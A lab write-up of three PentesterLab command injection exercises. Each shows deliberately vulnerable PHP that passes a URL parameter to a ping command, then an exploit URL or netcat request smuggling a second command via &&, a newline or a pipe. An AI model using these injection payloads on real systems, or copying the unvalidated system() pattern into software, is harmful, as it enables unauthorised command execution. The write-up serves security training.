Pentestlab--Web for Pentester - Command Injection

Web for Pentester: This exercise is a set of the most common web vulnerability

Difficluty: 1/5

From Pentestlab,

Command injection comes from a lack of filtering and encoding of information used as part of a command. The simplest example comes from using the function system (to run commands) and take an HTTP parameter as an argument of this command.

There are many ways to exploit a command injection:

`By redirecting the result of the first command into the second | id`
`By running another command if the first one succeeds: && id (where & needs to be encoded)`
`By running another command if the first one fails (and making sure it does: error || id ` just here to 

Example 1

code review:

example1.php
1
2
3
<?php
  system("ping -c 2 ".$_GET['ip']);
?>

The vulnerability is due to the developer doesn’t perform any input validation, so I can use && by add command after the normal input.

exploit:

http://192.168.79.162/commandexec/example1.php?ip=127.0.0.1%26%26ls

Example 2

code review:

example2.php
1
2
3
4
5
6
<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
     die("Invalid IP address");
  }
  system("ping -c 2 ".$_GET['ip']);
?>

The developer added input filter. However, it cannot prevent new line character, so I can inject command %0als

exploit:

http://192.168.79.162/commandexec/example2.php?ip=127.0.0.1%0als

Example 3

code review:

example3.php
1
2
3
4
5
6
<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
     header("Location: example3.php?ip=127.0.0.1");
  }
  system("ping -c 2 ".$_GET['ip']);
?>

This example is really similar to the previous one; the only difference is that the developer does not stop the script correctly. In PHP, an easy and simple way to redirect users if one of the value provided doesn’t match some security constraint is to call the function header. However, even if the browser will get redirected, this function does not stop the execution flow, and the script will still finish to run with the dangerous parameter. The developer needs to call the function die after the call to the function header, to avoid this issue.

exploit:

use netcat

echo -e "GET /commandexec/example3.php?ip=127.0.0.1%26%26ls HTTP/1.1\r\nHost: 192.168.79.162\r\nConnection: close\r\n" | nc 192.168.79.162 80